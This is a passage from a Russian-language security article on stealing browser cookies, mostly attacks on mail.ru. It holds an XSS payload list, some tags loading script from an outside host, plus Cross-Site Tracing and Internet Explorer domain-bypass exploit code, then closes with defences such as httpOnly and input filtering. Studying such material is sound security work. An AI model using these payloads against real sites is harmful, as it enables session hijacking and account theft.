Продолжение
Как можно использовать эти уязвимости? Вот один из возможных сценариев. Некий пользователь имеет почту на
www.mail.ru. Поставив галочку "Сохранить пароль", все его данные сохраняются в cookies. Теперь есть два варианта развития сценария:
1. Если есть физический или удаленный доступ к компьютеру.
2. Если доступа нет.
Для первого варианта нам просто нужно запустить експлоит. Для второго варианта нужен способ заставить пользователя запустить скрипт. Именно тут и возникает вопрос эффективности данного метода. При отсутствии физического или удаленного доступа к компьютеру надежнее использовать Уязвимость Internet ресурса. И наоборот. Схема "захвата" cookie имеет такой вид:
При необходимости эти данные можно перенести на другой компьютер или изменить. Делается это следующим образом:
PHP код:
<script>
onload=function () {
setTimeout(
function () {
document.getElementById("oVictim").Document.cookie="name=value";
},
100
);
}
</script>
<iframe src="http://www.mail.ru" id="oVictim"></iframe>
Cookie можно не изменять, а послать запрос на сервер с уже измененными данными:
GET /URL HTTP/1.0
Set-Cookie: name=value; EXPIRES=date; DOMAIN=domain_name; PATH=path; SECURE
2.2.2 Уязвимость Internet ресурса
Уязвимость Internet ресурса - это некая уязвимость некорректно написаного скрипта(PHP, Perl/CGI, Phyton... ). В данном случае нас интересует отсутствие фильтрации передаваемых параметров или ее слабая реализация.
Реальным примером может стать недавнее упоминание о уязвимости на
www.mail.ru:
"Пользователи mail.ru, могут подвергнутся некому риску. Дело в том, что запрос вида
http://win.mail.ru/cgi-bin/sendmsgok...t&Subject=text не проверяет значения передаваемых данных на Java Script. Это дает возможность злоумышленнику прочитать cookie пользователя..."
Чтение cookie, следовательно можно использовать так:
http://win.mail.ru/cgi-bin/sendmsgok?Subject=<SCRIPT>alert('XSS')</SCRIPT>
Замечу, что данный метод неуместен если на сервере нет уязвимостий или они неизвестны.
2.2.3 Особое мнение
Некоторые способы имеют приоритет, но только в определенных ситуациях. Выбор метода остается за атакующим и зависит от конкретной ситуации.
2.3 Обзор XSS
При использовании уязвимости Internet ресурса можно применить список различных тегов, выполняющих одинаковые действия - выводящие сообщения "XSS":
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT src="http://www.host.com/script.js"></SCRIPT>
(http://www.host.com/script.js путь к внедренному скрипту)
<BODY onLoad="alert('XSS')">
<LAYER src="http://www.host.com/script.js"></LAYER>
(http://www.host.com/script.js путь к внедренному скрипту)
<ILAYER src="http://www.host.com/script.js"></ILAYER>
(http://www.host.com/script.js путь к внедренному скрипту)
<LINK rel=stylesheet type="text/javascript" SRC="http://www.host.com/script.js">
(http://www.host.com/script.js путь к внедренному скрипту)
<IMG SRC="image.jpg" onError="alert('XSS')">
(image.jpg не существует)
<IMG SRC="JavaScript:alert('XSS')">
<IMG SRC="image.jpg" onLoad="alert('XSS')">
(image.jpg существует)
<META HTTP-EQUIV="Refresh" content ="1; URL=JavaScript:alert('XSS')">
<STYLE TYPE="text/css">
@import url(http://www.host.com/script.js);
</STYLE>
(http://www.host.com/script.js путь к внедренному скрипту)
<STYLE type="text/javascript">alert('XSS');</STYLE>
<p style="left:expression(eval('alert(\'XSS\')'))">
2.4 Хищение cookie при помощи Trace
С выходом SP1 (Октябрь 2002) должна была исчезнуть уязвимость XSS в броузере Internet Explorer. Действительно, чтение cookie стало невозможным. Теперь при попытке обращения к cookie, броузер возвращал вместо значения пустую строку. Давайте взглянем на следующий пример:
PHP код:
<script>
function normalCookie() {
document.cookie = "Cookie=Value";
alert(document.cookie);
}
function httpOnlyCookie() {
document.cookie = "Cookie=Value; httpOnly";
alert(document.cookie);
}
</script>
<FORM>
<INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE="Display Normal Cookie">
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE="Display HTTPONLY Cookie">
</FORM>
Нажав на первую кнопку мы увидим значение переменной document.cookie.
А при попытке обращения к document.cookie с установленным флагом HttpOnly броузер возвращает пустую строку:
Казалось бы, данная технология должна обеспечить безопасность конфиденциальных данных. Но 1 Ноября 2002 года Jeremiah Grossman из WhiteHat предложил свой сценарий получения доступа к cookie.
Для понимания дальнейшего материала необходимо ознакомится с методом запроса "Trace".
Метод TRACE используется для получения ответного сообщения на запрос на уровне приложения. Конечному получателю запроса СЛЕДУЕТ отразить полученное сообщение обратно клиенту как объект ответа с кодом состояния 200 (OK). Конечным получателем является либо сервер, либо первый прокси-сервер, либо первый шлюз, получивший нулевое значение (0) в поле Max-Forwards в запросе. TRACE позволяет клиенту видеть, что получается на другом конце цепочки запросов и использовать эти данные для тестирования или диагностической информации. Если запрос успешно выполнен, то ответу СЛЕДУЕТ содержать все сообщение запроса в теле объекта (entity-body), а Content-Type следует быть равным "message/http". Ответы на этот метод не кэшируются.
Иными словами TRACE возвращает пользователю те данные которые были отосланы в запросе. Он состоит из следующих данных:
1. Строка запроса (Request line)
2. Заголовки (Headers)
3. Отсылаемые данные (Post data)
Apache, IIS и iPlanet поддерживают по умолчанию запрос TRACE согласно протоколу HTTP/1.1. Давайте взглянем как происходит запрос TRACE:
[digitalscream@planet]$ telnet mail.ru 80
Trying 194.67.57.51...
Connected to mail.ru.
Escape character is ‘^]’.
TRACE / HTTP/1.1
Host: mail.ru
X-Header: test
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2003 16:11:06 GMT
Server: 3WservRT 2001,VxWorks 5.4
Transfer-Encoding: chunked
Content-Type: message/http
TRACE / HTTP/1.1
Host: mail.ru
X-Header: test
WhiteHat предложили список серверов, которые поддерживают запрос TRACE:
www.passport.com
www.yahoo.com
www.disney.com
www.securityfocus.com
www.redhat.com
www.go.com
www.theregister.co.uk
www.sun.com
www.oracle.com
www.ibm.com
От себя добавлю, что и
www.mail.ru можно смело добавить в этот список.
Поскольку наша цель это - чтение cookie, значит использование document.cookie нам не принципиально. Поскольку значения cookie передаются на сервер вместе с запросом, то становится ясна возможность использования запроса TRACE для наших темных дел. Но заставить броузер отправить запрос TRACE не так просто, потому как он использует в качестве метода запроса POST или GET. Для обхода этих ограничений и посылки специально отформатированного HTTP запроса на целевой сервер, необходима расширенная технология скриптов на клиентском компьютере. Некоторые технологии позволяют нам добиться необходимых результатов. Jeremiah Grossman предложил использовать ActiveX - XMLHTTP:
[/PHP]<script>
function sendTrace () {
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE", "http://mail.ru",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">[PHP]
Результатом будет следующее сообщение:
Используя ActiveX компонент XMLHTTP, мы отсылаем запрос TRACE на целевой web сервер. Если есть поддержка TRACE, броузер покажет данные отосланные вместе с HTTP запросом. Internet Explorer отсылает по умолчанию данные, а JavaScript выводит окно с содержанием HTTP запроса. Если ваш браузер имеет cookie от удаленного сервера, или находится на сервере используя WEB авторизацию, то следовательно данные могут быть перехвачены злоумышленником. Эта технология гарантирует обход атрибута "HttpOnly", потому что не используется функция document.cookie. Но самое страшное то, что от CROSS-SITE TRACING не спасает даже SSL. На данном этапе важно осознать две вещи.
1 Данная технология поддерживается Internet Explorer.
2 Mozilla/Netscape воспринимают такие cookie, как обычные.
При использовании TRACE запрос должен исходить со скрипта принадлежащего одному домену с целевым сервером. Так, скрипт который посылает запрос TRACE и соединяется с mail.ru должен принадлежать серверу mail.ru. Технология доменных ограничений помогает защитить пользователей от XSS. Для обхода данного ограничения существуют два варианта: XSS в контексте броузера или сервера. Если возможность XSS присутствует на сервере, то предыдущий сценарий и будет эксплоитом. А для использования изъянов в броузере нужно воспользоваться таким сценарием:
1 Создание эксплоита для получения доступа в другую доменную зону (в принципе этого хватает если не используется флаг "НttpOnly").
2 Задание в качестве исполняемого кода сценария запроса TRACE.
Для примера воспользуемся изъяном, обнаруженным GreyMagic Security.
PHP код:
<script>
function xssDomain() {
var oWin=open("blank.html","victim","width=500,height=400");
var oVuln=oWin.external;
oWin.location.href=”http://mail.ru”;
setTimeout(
function () {
oVuln.NavigateAndFind(‘javascript:
xmlHttp=new ActiveXObject(“Microsoft.XMLHTTP”);
xmlHttp.open(“TRACE”,”http://mail.ru”,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
’,””,””);
}
,2000);
}
</script>
<INPUT TYPE=BUTTON OnClick=”xssDomain();” VALUE=’TRACE XSS Domain’>
}
Данный пример не будет работать если установлен патч MS02-068. Но, тем не менее, вот следующий пример, работающий даже после установки патча:
PHP код:
<script>
function xssDomainTraceRequest(){
var exampleCode = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;
xmlHttp.open(\"TRACE\",\"http://mail.ru\",false)\;
xmlHttp.send()\;
xmlDoc=xmlHttp.responseText\;
alert(xmlDoc)\;";
var target = "http://mail.ru";
cExampleCode = encodeURIComponent(exampleCode + ';top.close()');
var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + cExampleCode + '")))’;
showModalDialog(target, null, readyCode);
}
</script>
<INPUT TYPE=BUTTON OnClick="xssDomainTraceRequest()" VALUE=”Show Cookie Information Using TRACE”>
Тут используется уязвимость функции showModalDialog. Уязвимость была найдена Larholm'ом, который, кстати, указывает, что ничего нового в этой технологии нет, а представляет она собой только несколько переиначенную уязвимость XSS. В самом описании он говорит, что это - "hyped, sensationalised snakeoil". Впрочем, другой исследователь безопасности, Peter Watkins, придерживается противоположного мнения, указывая, что указанная особенность работает и в броузере Mozilla.
2.5 Безопасность технологии .NET
Хорошим тоном программирования считается удалять из памяти некоторые данные если они длительное время не используются. Это относится и к данным cookie. Эти меры предосторожности необходимы для защиты конфиденциальной информации. Ведь аттакующему может удастся прочитать их используя уязвимости типа Buffer Overflow, Buffer Overrun, или прочитав дамп web приложения при его аварийном завершении... . Для примера давайте взглянем на программу написанную на Microsoft Visual C++® .NET и определим есть ли в ней ошибки.
PHP код:
BOOL DoStuff() {
char pPwd[128];
size_t cchPwd = sizeof(pPwd) / sizeof(pPwd[0]);
BOOL fOK = false;
if (GetPassword(pPwd, &cchPwd))
fOK = DoSecretStuff(pPwd, cchPwd);
memset(pPwd, 0, sizeof(pPwd));
return fOK;
}
Ошибок здесь нет. Пользовательский пароль запрашивается(например с cookie) проверяется и сразу уничтожается(заполняется нулями). Но в ходе работы программой используется функция mempy или strcpy, что при некоторых ситуациях создает угрозу аттаки Buffer Overrun или что-то вроде этого. Казалось бы, никаких проблем с безопасностью пароля быть не может, ведь он обнуляется. Но давайте взглянем на откомпилированный код:
PHP код:
?DoStuff PROC NEAR
; Line 14
sub esp, 68 ; 00000044H
mov eax, DWORD PTR ___security_cookie
xor eax, DWORD PTR __$ReturnAddr$[esp+64]
push esi
mov DWORD PTR __$ArrayPad$[esp+72], eax
; Line 19
lea eax, DWORD PTR _pPwd$[esp+72]
push 64 ; 00000040H
push eax
xor esi, esi
call ?GetPassword
add esp, 8
test eax, eax
je SHORT $L30117
; Line 20
push 64 ; 00000040H
lea ecx, DWORD PTR _pPwd$[esp+76]
push ecx
call ?DoSecretStuff
add esp, 8
pop esi
; Line 25
mov ecx, DWORD PTR __$ArrayPad$[esp+68]
xor ecx, DWORD PTR __$ReturnAddr$[esp+64]
add esp, 68 ; 00000044H
jmp @__security_check_cookie@4
$L30117:
mov ecx, DWORD PTR __$ArrayPad$[esp+72]
xor ecx, DWORD PTR __$ReturnAddr$[esp+68]
mov eax, esi
pop esi
add esp, 68 ; 00000044H
jmp @__security_check_cookie@4
?DoStuff ENDP
Чего-то не хватает? Оптимизатор удалил строку "memset(pPwd, 0, sizeof(pPwd));"! Следовательно пароль все время хранится в памяти. Далее остается дело за проффесионалами. Этот способ позволяет и читать cookie с установленным флагом httpOnly. Но аттака предложенная Michael'ом Howard'ом слишком сложна в реализации и поэтому данный способ -- малоэффективен. Но возможно, при таком интенсивном развитии в области информационных технологий, это будет единственный способ получения конфиденциальной информации, несмотря на простое решение данной проблеммы:
PHP код:
#ifndef FORCEINLINE
#if (MSC_VER >= 1200)
#define FORCEINLINE __forceinline
#else
#define FORCEINLINE __inline
#endif
#endif
...
FORCEINLINE PVOID SecureZeroMemory(
void *ptr, size_t cnt) {
volatile char *vptr = (volatile char *)ptr;
while (cnt) {
*vptr = 0;
vptr++;
cnt--;
}
return ptr;
}
Данный пример -- функция очистки области памяти. Его преимущество в "неоптимизации", хотя такой код проиграет по скорости работы. Еще одним хорошим решением будет выключение оптимизации:
#pragma optimize("g",off)
3 Способы защиты cookie
Как выход из сложившегося положения - шифрование данных. Этот способ не поможет при попытке подмены cookie, но эффективен при попытках чтения данных.
При написании WEB приложений важно не забывать о таких вещах как:
флаг httpOnly
фильтрация входных данных
шифрование на основе открытого и приватного ключей. (Шифрование наподобие XOR малоэффективно)
Более детально все описано в самом документе.
Наша безопасность зависит только от нас самих и только мы определяем какой ее уровень является необходимым. Я не пытаюсь развить у вас чувство паранои но и быть легкомысленным тоже не стоит...
Отдельное спасибо uinC Team за поддержку.
Использованние материала разрешено только при условии указания автора и источника.
[c] DigitalScream, (digitalscream@userline.ru)
Статья написана специально для UInC (
http://www.uinc.ru).